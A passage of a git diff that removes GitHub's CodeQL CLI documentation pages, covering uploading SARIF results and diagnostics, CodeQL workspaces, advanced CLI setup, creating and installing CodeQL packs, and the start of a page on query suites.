%} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API from your secret store via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. | - -For more information, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/github-upload-results). - -> [!NOTE] -> If you analyzed more than one {% data variables.product.prodname_codeql %} database for a single commit, you must have specified a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.github %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries#running-codeql-database-analyze). - -### Basic example of uploading results to {% data variables.product.github %} - -The following example uploads results from the SARIF file `temp/example-repo-js.sarif` to the repository `my-org/example-repo`. It tells the {% data variables.product.prodname_code_scanning %} API that the results are for the commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` on the `main` branch. The example assumes that the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API uses the `GITHUB_TOKEN` environment variable. - -```shell -codeql github upload-results \ - --repository=my-org/example-repo \ - --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ - --sarif=/temp/example-repo-js.sarif {% ifversion ghes %}--github-url=https://HOSTNAME \ - {% endif %} -``` - -There is no output from this command unless the upload was unsuccessful. The command prompt returns when the upload is complete and data processing has begun. On smaller codebases, you should be able to explore the {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.github %} shortly afterward. You can see alerts directly in the pull request or on the **Security** tab for branches, depending on the code you checked out. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests) and [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository). - -## Uploading diagnostic information to {% data variables.product.github %} if the analysis fails - -When {% data variables.product.prodname_codeql_cli %} finishes analyzing a database successfully, it gathers diagnostic information such as file coverage, warnings, and errors, and includes it in the SARIF file with the results. When you upload the SARIF file to {% data variables.product.company_short %} the diagnostic information is displayed on the {% data variables.product.prodname_code_scanning %} {% data variables.code-scanning.tool_status_page %} for the repository to make it easy to see how well {% data variables.product.prodname_codeql %} is working and debug any problems. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page). - -However, if `codeql database analyze` fails for any reason there is no SARIF file to upload to {% data variables.product.company_short %} and no diagnostic information to show on the {% data variables.product.prodname_code_scanning %} {% data variables.code-scanning.tool_status_page %} for the repository. This makes it difficult for users to troubleshoot analysis unless they have access to log files in your CI system. - -We recommend that you configure your CI workflow to export and upload diagnostic information to {% data variables.product.github %} when an analysis fails. You can do this using the following simple commands to export diagnostic information and upload it to {% data variables.product.company_short %}. - -### Exporting diagnostic information if the analysis fails - -You can create a SARIF file for the failed analysis using [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-export-diagnostics), for example: - -```shell -$ codeql database export-diagnostics codeql-dbs/example-repo \ - --sarif-category=javascript-typescript --format={% ifversion fpt or ghec %}sarif-latest{% else %}sarifv2.1.0{% endif %} \ - --output=/temp/example-repo-js.sarif -``` - -This SARIF file will contain diagnostic information for the failed analysis, including any file coverage information, warnings, and errors generated during the analysis. - -### Uploading diagnostic information if the analysis fails - -You can make this diagnostic information available on the {% data variables.code-scanning.tool_status_page %} by uploading the SARIF file to {% data variables.product.github %} using [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/github-upload-results), for example: - -```shell -codeql github upload-results \ - --repository=my-org/example-repo \ - --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ - --sarif=/temp/example-repo-js.sarif {% ifversion ghes %}--github-url=https://HOSTNAME \ - {% endif %} -``` - -This is the same as the process for uploading SARIF files from successful analyses. diff --git a/content/code-security/codeql-cli/index.md b/content/code-security/codeql-cli/index.md deleted file mode 100644 index 5838d18c1dd8..000000000000 --- a/content/code-security/codeql-cli/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Use the CodeQL CLI to secure your code -shortTitle: CodeQL CLI -allowTitleToDifferFromFilename: true -intro: 'Use {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_codeql %} analyses locally.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /getting-started-with-the-codeql-cli - - /using-the-advanced-functionality-of-the-codeql-cli - - /codeql-cli-manual ---- diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/about-codeql-workspaces.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/about-codeql-workspaces.md deleted file mode 100644 index bcc3465277bd..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/about-codeql-workspaces.md +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: About CodeQL workspaces -intro: '{% data variables.product.prodname_codeql %} workspaces allow you to develop and maintain a group of {% data variables.product.prodname_codeql %} packs that depend on each other.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/about-codeql-workspaces - - /code-security/codeql-cli/codeql-cli-reference/about-codeql-workspaces ---- - -## About {% data variables.product.prodname_codeql %} workspaces - -{% data reusables.code-scanning.codeql-action-version-ghes %} - -You use a {% data variables.product.prodname_codeql %} workspace when you want to group multiple {% data variables.product.prodname_codeql %} packs together. A typical use case for a {% data variables.product.prodname_codeql %} workspace is to develop a set of {% data variables.product.prodname_codeql %} library and query packs that are mutually dependent. For more information on {% data variables.product.prodname_codeql %} packs, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs). - -The main benefit of a {% data variables.product.prodname_codeql %} workspace is that it makes it easier for you to develop and maintain multiple {% data variables.product.prodname_codeql %} packs. When you use a {% data variables.product.prodname_codeql %} workspace, all the {% data variables.product.prodname_codeql %} packs in the workspace are available as _source dependencies_ for each other when you run a {% data variables.product.prodname_codeql %} command that resolves queries. This makes it easier to develop, maintain, and publish multiple, related {% data variables.product.prodname_codeql %} packs. - -In most cases, you should store the {% data variables.product.prodname_codeql %} workspace and the {% data variables.product.prodname_codeql %} packs contained in it in one git repository. This makes it easier to share your {% data variables.product.prodname_codeql %} development environment. - -## The `codeql-workspace.yml` file - -A {% data variables.product.prodname_codeql %} workspace is defined by a `codeql-workspace.yml` yaml file. This file contains a `provide` block, and optionally `ignore` and `registries` blocks. - -* The `provide` block contains a list of glob patterns that define the {% data variables.product.prodname_codeql %} packs that are available in the workspace. - -* The `ignore` block contains a list of glob patterns that define {% data variables.product.prodname_codeql %} packs that are not available in the workspace. - -* The `registries` block contains a list of GHES URLs and package patterns that control which container registry is used for publishing {% data variables.product.prodname_codeql %} packs. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs#working-with-codeql-packs-on-ghes). - -Each entry in the `provide` or `ignore` section must map to the location of a `qlpack.yml` file. All glob patterns are defined relative to the directory that contains the workspace file. For a list of patterns accepted in this file, see [@actions/glob](https://github.com/actions/toolkit/tree/main/packages/glob#patterns). - -For example, the following `codeql-workspace.yml` file defines a workspace that contains all the {% data variables.product.prodname_codeql %} packs recursively found in the `codeql-packs` directory, except for the packs in the `experimental` directory. The `registries` block specifies that `codeql/\*` packs should be downloaded from `https://ghcr.io/v2/`, which is {% data variables.product.prodname_dotcom %}’s default container registry. All other packs should be downloaded from and published to the registry at `GHE_HOSTNAME`. - -```yaml -provide: - - "*/codeql-packs/**/qlpack.yml" -ignore: - - "*/codeql-packs/**/experimental/**/qlpack.yml" - -registries: - - packages: 'codeql/*' - url: https://ghcr.io/v2/ - - - packages: '*' - url: https://containers.GHE_HOSTNAME/v2/ -``` - -To verify that your `codeql-workspace.yml` file includes the {% data variables.product.prodname_codeql %} packs that you expect, run the `codeql pack ls` command in the same directory as your workspace. The result of the command is a list of all {% data variables.product.prodname_codeql %} packs in the workspace. - -## Source dependencies - -Source dependencies are {% data variables.product.prodname_codeql %} packs that are resolved from the local file system outside of the {% data variables.product.prodname_codeql %} package cache. These dependencies can be in the same {% data variables.product.prodname_codeql %} workspace, or specified as a path option using the `--additional-packs` argument. When you compile and run queries locally, source dependencies override any dependencies found in the {% data variables.product.prodname_codeql %} package cache as well as version constraints defined in the `qlpack.yml`. All references to {% data variables.product.prodname_codeql %} packs in the same workspace are resolved as source dependencies. - -This is particularly useful in the following situations: - -* One of the dependencies of the query pack you are running is not yet published. Resolving from source is the only way to reference that pack. - -* You are making changes to multiple packs at the same time and want to test them together. Resolving from source ensures that you are using the version of the pack with your changes in it. - -## {% data variables.product.prodname_codeql %} workspaces and query resolution - -All {% data variables.product.prodname_codeql %} packs in a workspace are available as source dependencies for each other when you run any {% data variables.product.prodname_codeql %} command that resolves queries or packs. For example, when you run `codeql pack install` in a pack directory in a workspace, any dependency that can be found in the workspace will be used instead of downloading that dependency to the package cache and adding it to the `codeql-pack.lock.yml` file. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#adding-and-installing-dependencies). - -Similarly, when you publish a {% data variables.product.prodname_codeql %} query pack to the {% data variables.product.prodname_dotcom %} container registry using `codeql pack publish` the command will always use the dependencies from the workspace instead of using dependencies found in the local package cache. - -This ensures that any local changes you make to a query library in a dependency are automatically reflected in any query packs you publish from that workspace. - -### Example - -Consider the following `codeql-workspace.yml` file: - -```yaml -provide: - - "**/qlpack.yml" -``` - -And the following {% data variables.product.prodname_codeql %} library pack `qlpack.yml` file in the workspace: - -```yaml -name: my-company/my-library -library: true -version: 1.0.0 -``` - -And the following {% data variables.product.prodname_codeql %} query pack `qlpack.yml` file in the workspace: - -```yaml -name: my-company/my-queries -version: 1.0.0 -dependencies: - my-company/my-library: "*" - codeql/cpp-all: ~0.2.0 -``` - -Notice that the `dependencies` block for the {% data variables.product.prodname_codeql %} query pack, `my-company/my-queries`, specifies `"*"` as the version of the library pack. Since the library pack is already defined as a source dependency in `codeql-workspace.yml`, the library pack’s content is always resolved from inside the workspace. Any version constraint you define will be ignored in this case. We recommend that you use `"*"` for source dependencies to make it clear that the version is inherited from the workspace. - -When you execute `codeql pack install` from the query pack directory, an appropriate version of `codeql/cpp-all` is downloaded to the local package cache. Also, a `codeql-pack.lock.yml` file is created that contains the resolved version of `codeql/cpp-all`. The lock file won’t contain an entry for `my-company/my-library` since it is resolved from source dependencies. The `codeql-pack.lock.yml` file will look something like this: - -```yaml -dependencies: - codeql/cpp-all: - version: 0.2.2 -``` - -When you execute `codeql pack publish` from the query pack directory, the `codeql/cpp-all` dependency from the package cache and the `my-company/my-library` from the workspace are bundled with `my-company/my-queries` and published to the {% data variables.product.prodname_dotcom %} container registry. - -## Using `${workspace}` as a version range in `qlpack.yml` files - -{% data variables.product.prodname_codeql %} packs in a workspace can use the special `${workspace}`, `~${workspace}`, and `^${workspace}` version range placeholders. These placeholders indicate that this pack depends on the version of the specified pack that is currently in the workspace. This placeholder is typically used for dependencies inside of library packs to ensure that when they are published, the dependencies in their `qlpack.yml` file reflect the state of the workspace when they were published. - -### Example - -Consider the following two library packs in the same workspace: - -```yaml -name: my-company/my-library -library: true -version: 1.2.3 -dependencies: - my-company/my-library2: ${workspace} -``` - -```yaml -name: my-company/my-library2 -library: true -version: 4.5.6 -``` - -When `my-company/my-library` is published to the {% data variables.product.prodname_dotcom %} container registry, the version of the `my-company/my-library2` dependency in the published `qlpack.yml` file will be written as `4.5.6`. - -Similarly, if the dependency is `my-company/my-library2: ^${workspace}` in the source pack, and then the pack is published, the version of the `my-company/my-library2` dependency in the published `qlpack.yml` file will be written as `^4.5.6`, indicating that versions `>= 4.5.6` and `< 5.0.0` are all compatible with this library pack. - -If the dependency is `my-company/my-library2: ~${workspace}` in the source pack, and then the pack is published, the version of the `my-company/my-library2` dependency in the published `qlpack.yml` file will be written as `~4.5.6`, indicating that versions `>= 4.5.6` and `< 4.6.0` are all compatible with this library pack. diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/advanced-setup-of-the-codeql-cli.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/advanced-setup-of-the-codeql-cli.md deleted file mode 100644 index e669f8e79337..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/advanced-setup-of-the-codeql-cli.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Advanced setup of the CodeQL CLI -intro: 'You can modify your {% data variables.product.prodname_codeql_cli %} setup to use a local checkout of the {% data variables.product.prodname_codeql %} repository for analysis, set up multiple versions of the {% data variables.product.prodname_codeql_cli %}, and analyze databases you have downloaded from {% data variables.product.github %}.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL ---- - -## About advanced setup of the {% data variables.product.prodname_codeql_cli %} - -If you plan to use {% data variables.product.prodname_codeql %} for more than just code scanning, you may prefer an advanced setup of the {% data variables.product.prodname_codeql_cli %}. - -* If you want to contribute to open source shared {% data variables.product.prodname_codeql %} queries, you may prefer working with the {% data variables.product.prodname_codeql %} source code directly. -* If you want to use the latest {% data variables.product.prodname_codeql %} features to generate code scanning alerts for a codebase, but also want to analyze another codebase that is only compatible with a specific version of the {% data variables.product.prodname_codeql_cli %}, you may want to install multiple versions of the {% data variables.product.prodname_codeql_cli %}. -* If you are researching or developing queries, you may want to download interesting or unique databases from {% data variables.product.prodname_dotcom_the_website %}. - -For information on the most simple setup of the {% data variables.product.prodname_codeql_cli %}, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli). - -## Checking out the {% data variables.product.prodname_codeql %} source code directly - -Some users prefer working with {% data variables.product.prodname_codeql %} query sources directly in order to work on or contribute to the Open Source shared queries. In order to do this, the following steps are recommended. - -### 1. Download the {% data variables.product.prodname_codeql_cli %} tar archive - -{% data reusables.codeql-cli.download-codeql-cli %} - -### 2. Create a new {% data variables.product.prodname_codeql %} directory - -Create a new directory where you can place the CLI and any queries and libraries -you want to use. For example, `$HOME/codeql-home`. - -The CLI’s built-in search operations automatically look in all of its sibling -directories for the files used in database creation and analysis. Keeping these -components in their own directory prevents the CLI searching unrelated sibling -directories while ensuring all files are available without specifying any -further options on the command line. - -### 3. Obtain a local copy of the {% data variables.product.prodname_codeql %} queries - -The [{% data variables.product.prodname_codeql %} repository](https://github.com/github/codeql) contains -the queries and libraries required for {% data variables.product.prodname_codeql %} analysis of all supported languages. -Clone a copy of this repository into `codeql-home`. - -By default, the root of the cloned repository will be called `codeql`. -Rename this folder `codeql-repo` to avoid conflicting with the {% data variables.product.prodname_codeql_cli %} that you will extract in step 1. If you use git on the command line, you can -clone and rename the repository in a single step by running -`git clone git@github.com:github/codeql.git codeql-repo` in the `codeql-home` folder. - -Within this repository, the queries and libraries are organized into {% data variables.product.prodname_codeql %} -packs. Along with the queries themselves, {% data variables.product.prodname_codeql %} packs contain important metadata -that tells the {% data variables.product.prodname_codeql_cli %} how to process the query files. For more information, -see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs). - -> [!NOTE] -> There are different versions of the {% data variables.product.prodname_codeql %} queries available for different users. Check out the correct version for your use case: -> -> * For the queries that are intended to be used with the latest {% data variables.product.prodname_codeql_cli %} release, check out the branch tagged `codeql-cli/latest`. You should use this branch for databases you’ve built using the {% data variables.product.prodname_codeql_cli %} or recently downloaded from {% data variables.product.github %}. -> * For the most up to date {% data variables.product.prodname_codeql %} queries, check out the `main` branch. This branch represents the very latest version of {% data variables.product.prodname_codeql %}’s analysis. - -### 4. Extract the {% data variables.product.prodname_codeql_cli %} tar archive - -Extract the tar archive into the directory you created in step 2. - -For example, if the path to your copy of the {% data variables.product.prodname_codeql %} repository is `$HOME/codeql-home/codeql-repo`, then extract the CLI into -`$HOME/codeql-home/`. - -### 5. Launch `codeql` - -{% data reusables.codeql-cli.launch-codeql %} - -### 6. Verify your {% data variables.product.prodname_codeql_cli %} setup - -{% data variables.product.prodname_codeql_cli %} has subcommands you can execute to verify that you are correctly set up to create and analyze databases: - -* Run `codeql resolve languages` to show which languages are available for database creation. This will list the languages supported by default in your {% data variables.product.prodname_codeql_cli %} package. -* Run `codeql resolve qlpacks` to show which {% data variables.product.prodname_codeql %} packs the CLI can find. This will display the names of all the {% data variables.product.prodname_codeql %} packs directly available to the {% data variables.product.prodname_codeql_cli %}. This should include: -* Query packs for each supported language, for example, `codeql/{language}-queries`. These packs contain the standard queries that will be run for each analysis. -* Library packs for each supported language, for example, `codeql/{language}-all`. These packs contain query libraries, such as control flow and data flow libraries, that may be useful to query writers. -* Example packs for each supported language, for example, `codeql/{language}-examples`. These packs contain useful snippets of {% data variables.product.prodname_codeql %} that query writers may find useful. -* Legacy packs that ensure custom queries and libraries created using older products are compatible with your version of {% data variables.product.prodname_codeql %}. - -## Using two versions of the {% data variables.product.prodname_codeql_cli %} - -If you want to use the latest {% data variables.product.prodname_codeql %} features to execute queries or {% data variables.product.prodname_codeql %} tests, but also want to prepare databases that are compatible with a specific version of {% data variables.product.prodname_codeql %} code scanning on {% data variables.product.prodname_ghe_server %}, you may need to install two versions of the CLI. You can download the versions of the {% data variables.product.prodname_codeql_cli %} that you want, and unpack both CLI archives in the same parent directory. - -## Downloading databases from {% data variables.product.prodname_dotcom_the_website %} - -{% data variables.product.github %} stores {% data variables.product.prodname_codeql %} databases for over 200,000 repositories on {% data variables.product.prodname_dotcom_the_website %}, which you can download using the REST API. The list of repositories is constantly growing and evolving to make sure that it includes the most interesting codebases for security research. - -You can also analyze databases from {% data variables.product.prodname_dotcom_the_website %} using the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode_shortname %} extension. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries). - -You can check if a repository has any {% data variables.product.prodname_codeql %} databases available for download using the `/repos/<owner>/<repo>/code-scanning/codeql/databases` endpoint. For example, to check for {% data variables.product.prodname_codeql %} databases using the [{% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_api) you would run: - -```shell -gh api /repos/<owner>/<repo>/code-scanning/codeql/databases -``` - -This command returns information about any {% data variables.product.prodname_codeql %} databases that are available for a repository, including the language the database represents, and when the database was last updated. If no {% data variables.product.prodname_codeql %} databases are available, the response is empty. - -When you have confirmed that a {% data variables.product.prodname_codeql %} database exists for the language you are interested in, you can download it using the following command: - -```shell -gh api /repos/<owner>/<repo>/code-scanning/codeql/databases/<language> -H 'Accept: application/zip' > path/to/local/database.zip -``` - -For more information, see the documentation for the [Get {% data variables.product.prodname_codeql %} database endpoint](/rest/code-scanning?apiVersion=2022-11-28#get-a-codeql-database-for-a-repository). - -Before running an analysis with the {% data variables.product.prodname_codeql_cli %}, you must unzip the databases. diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs.md deleted file mode 100644 index 40f61d290d41..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs.md +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Creating and working with CodeQL packs -intro: 'You can use {% data variables.product.prodname_codeql %} packs to create, share, depend on, and run {% data variables.product.prodname_codeql %} queries and libraries.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/creating-and-working-with-codeql-packs - - /code-security/codeql-cli/using-the-codeql-cli/creating-and-working-with-codeql-packs ---- - -## About {% data variables.product.prodname_codeql %} packs and the {% data variables.product.prodname_codeql_cli %} - -{% data reusables.code-scanning.codeql-cli-version-ghes %} - -{% data variables.product.prodname_codeql %} packs are used to create, share, depend on, and run {% data variables.product.prodname_codeql %} queries and libraries. {% data variables.product.prodname_codeql %} packs contain queries, library files, query suites, and metadata. With {% data variables.product.prodname_codeql %} packs and the package management commands in the {% data variables.product.prodname_codeql_cli %}, you can publish your custom queries and integrate them into your codebase analysis. - -There are three types of {% data variables.product.prodname_codeql %} packs: query packs, library packs, and model packs. - -* Query packs are designed to be run. When a query pack is published, the bundle includes all the transitive dependencies and pre-compiled representations of each query, in addition to the query sources. This ensures consistent and efficient execution of the queries in the pack. - -* Library packs are designed to be used by query packs (or other library packs) and do not contain queries themselves. The libraries are not compiled separately. - -* Model packs can be used to expand {% data variables.product.prodname_code_scanning %} analysis to include dependencies that are not supported by default. Model packs are currently in {% data variables.release-phases.public_preview %} and subject to change. During the {% data variables.release-phases.public_preview %}, model packs are available for {% data variables.code-scanning.codeql_model_packs_support %} analysis. For more information about creating your own model packs, see [Creating a {% data variables.product.prodname_codeql %} model pack](#creating-a-codeql-model-pack). - -You can use the `pack` command in the {% data variables.product.prodname_codeql_cli %} to create {% data variables.product.prodname_codeql %} packs, add dependencies to packs, and install or update dependencies. You can also publish and download {% data variables.product.prodname_codeql %} packs using the `pack` command. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs). - -For more information about compatibility between published query packs and different {% data variables.product.prodname_codeql %} releases, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs#about-codeql-pack-compatibility). - -The standard {% data variables.product.prodname_codeql %} packages for all supported languages are published in the [{% data variables.product.prodname_container_registry %}](https://github.com/orgs/codeql/packages). The [{% data variables.product.prodname_codeql %} repository](https://github.com/github/codeql) contains source files for the standard {% data variables.product.prodname_codeql %} packs for all supported languages. The core query packs, which are included in the {% data variables.product.prodname_codeql %} CLI bundle, but you can otherwise download, are: - - * `codeql/cpp-queries` - * `codeql/csharp-queries` - * `codeql/go-queries` - * `codeql/java-queries` - * `codeql/javascript-queries` - * `codeql/python-queries` - * `codeql/ruby-queries` - -## {% data variables.product.prodname_codeql %} pack structure - -A {% data variables.product.prodname_codeql %} pack must contain a file called `qlpack.yml` in its root directory. In the `qlpack.yml` file, the `name:` field must have a value that follows the format of `<scope>/<pack>`, where `<scope>` is the {% data variables.product.prodname_dotcom %} organization or user account that the pack will be published to and `<pack>` is the name of the pack. Additionally, query packs and library packs with {% data variables.product.prodname_codeql %} tests contain a `codeql-pack.lock.yml` file that contains the resolved dependencies of the pack. This file is generated during a call to the `codeql pack install` command, is not meant to be edited by hand, and should be added to your version control system. - -The other files and directories within the pack should be logically organized. For example, typically: - -* Queries are organized into directories for specific categories. - -* Queries for specific products, libraries, and frameworks are organized into -their own top-level directories. - -## Creating a {% data variables.product.prodname_codeql %} pack - -You can create a {% data variables.product.prodname_codeql %} pack by running the following command from the checkout root of your project: - -```shell -codeql pack init <scope>/<pack> -``` - -You must specify: - -* `<scope>`: the name of the {% data variables.product.prodname_dotcom %} organization or user account that you will publish to. - -* `<pack>`: the name for the pack that you are creating. - -The `codeql pack init` command creates the directory structure and configuration files for a {% data variables.product.prodname_codeql %} pack. By default, the command creates a query pack. If you want to create a library pack, you must edit the `qlpack.yml` file to explicitly declare the file as a library pack by including the `library:true` property. - -## Creating a {% data variables.product.prodname_codeql %} model pack - -{% data reusables.code-scanning.beta-model-packs %} - -Model packs can be used to expand {% data variables.product.prodname_code_scanning %} analysis to recognize libraries and frameworks that are not supported by default. Model packs use data extensions, which are implemented as YAML and describe how to add data for new dependencies. When a model pack is specified, the data extensions in that pack will be added to the {% data variables.product.prodname_code_scanning %} analysis automatically. For more information about {% data variables.product.prodname_codeql %} model packs and data extensions, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/using-the-codeql-model-editor). - -A model pack is a {% data variables.product.prodname_codeql %} pack with the following characteristics in the `qlpack.yml` file: - -* It defines `library: true`. -* It has no dependencies. -* It has one or more `extensionTargets`. -* It has a `dataExtensions` property that points to one or more data extension files. - -A model pack will inject its specified data extensions into each query pack that is named in `extensionTargets`, if it falls within the specified version range. For example: - -```yaml -name: my-repo/my-java-model-pack -version: 1.2.3 -extensionTargets: - codeql/java-all: ~1.2.3 - codeql/util: ~4.5.6 -dataExtensions: - - models/**/*.yml -``` - -In this example, the model pack will inject all the data extensions in `models/**/` into a `codeql/java-all` query pack that is at a version from `1.2.3` up to and including `1.3.0`, and a `codeql/util` query pack that is at a version from `4.5.6` up to and including `4.6.0`. For more information, see [Using semantic versioning](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept) in the npm documentation and the [Semantic versioning specification](https://semver.org/). - -Once you've created a model pack, you can publish it in the same way as other {% data variables.product.prodname_codeql %} packs. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs). You can then use published model packs in a {% data variables.product.prodname_code_scanning %} analysis with the `--model-packs` option. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs#using-model-packs-to-analyze-calls-to-custom-dependencies). - -## Adding and installing dependencies on a {% data variables.product.prodname_codeql %} pack - -> [!NOTE] -> This is only supported for {% data variables.product.prodname_codeql %} query and library packs. - -You can add dependencies on {% data variables.product.prodname_codeql %} packs using the command `codeql pack add`. You must specify the scope, name, and (optionally) a compatible version range. - -```shell -codeql pack add <scope>/<name>@x.x.x <scope>/<other-name> -``` - -If you don’t specify a version range, the latest version will be added. Otherwise, the latest version that satisfies the requested range will be added. - -This command updates the `qlpack.yml` file with the requested dependencies and downloads them into the package cache. Please note that this command will reformat the file and remove all comments. - -You can also manually edit the `qlpack.yml` file to include dependencies and install the dependencies with the command: - -```shell -codeql pack install -``` - -This command downloads all dependencies to the shared cache on the local disk. - -> [!NOTE] -> * Running the `codeql pack add` and `codeql pack install` commands will generate or update the `codeql-pack.lock.yml` file. This file should be checked-in to version control. The `codeql-pack.lock.yml` file contains the precise version numbers used by the pack. For more information, see [About codeql-pack.lock.yml files](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs##about-codeql-packlockyml-files). -> * By default `codeql pack install` will install dependencies from the {% data variables.product.prodname_container_registry %} on {% data variables.product.prodname_dotcom_the_website %}. You can install dependencies from a {% data variables.product.prodname_ghe_server %} {% data variables.product.prodname_container_registry %} by creating a `qlconfig.yml` file. For more information, see [AUTOTITLE](/enterprise-server@latest/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs) in the {% data variables.product.prodname_ghe_server %} documentation. - -## Customizing a downloaded {% data variables.product.prodname_codeql %} pack - -The recommended way to experiment with changes to a pack is to clone the repository containing its source code. - -If no source repository is available and you need to base modifications on a pack downloaded from the {% data variables.product.prodname_container_registry %}, be aware that these packs are not intended to be modified or customized after downloading, and their format may change in the future without much notice. We recommend taking the following steps after downloading a pack if you need to modify the content: - -* Change the pack _name_ in `qlpack.yml` so you avoid confusion with results from the unmodified pack. - -* Remove all files named `*.qlx` anywhere in the unpacked directory structure. These files contain precompiled versions of the queries, and in some situations {% data variables.product.prodname_codeql %} will use them in preference to the QL source you have modified. diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites.md deleted file mode 100644 index 61ade5aa67be..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites.md +++ /dev/null @@ -1,380 +0,0 @@ ---- -title: Creating CodeQL query suites -intro: 'You can create query suites for queries you frequently use in your {% data variables.product.prodname_codeql %} analyses.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/creating-codeql-query-suites - - /code-security/codeql-cli/using-the-codeql-cli/creating-codeql-query-suites ---- - -## About creating {% data variables.product.prodname_codeql %} query suites - -{% data reusables.code-scanning.codeql-cli-version-ghes %} - -{% data variables.product.prodname_codeql %} query suites provide a way of selecting queries, based on their -filename, location on disk or in a {% data variables.product.prodname_codeql %} pack, or metadata properties. -Create query suites for the queries that you want to frequently use in -your {% data variables.product.prodname_codeql %} analyses. - -Query suites allow you to pass multiple queries to {% data variables.product.prodname_codeql %} without having to specify the path to each query file individually. Query suite definitions are stored in YAML files with the extension `.qls`. A suite definition is a sequence of instructions, where each instruction is a YAML -mapping with (usually) a single key. The instructions are executed in the order -they appear in the query suite definition. After all the instructions in the -suite definition have been executed, the result is a set of selected queries. - -> [!NOTE] -> Any custom queries that you want to add to a query suite must be in a [{% data variables.product.prodname_codeql %} pack](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs) and contain the correct query metadata. For more information, see [Using custom queries with the {% data variables.product.prodname_codeql_cli %}](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/using-custom-queries-with-the-codeql-cli). - -## Locating queries to add to a query suite - -When creating a query suite, you first need to specify the locations of the -queries that you want to select. You can define the location of one or more -queries using: - -* A `query` instruction: 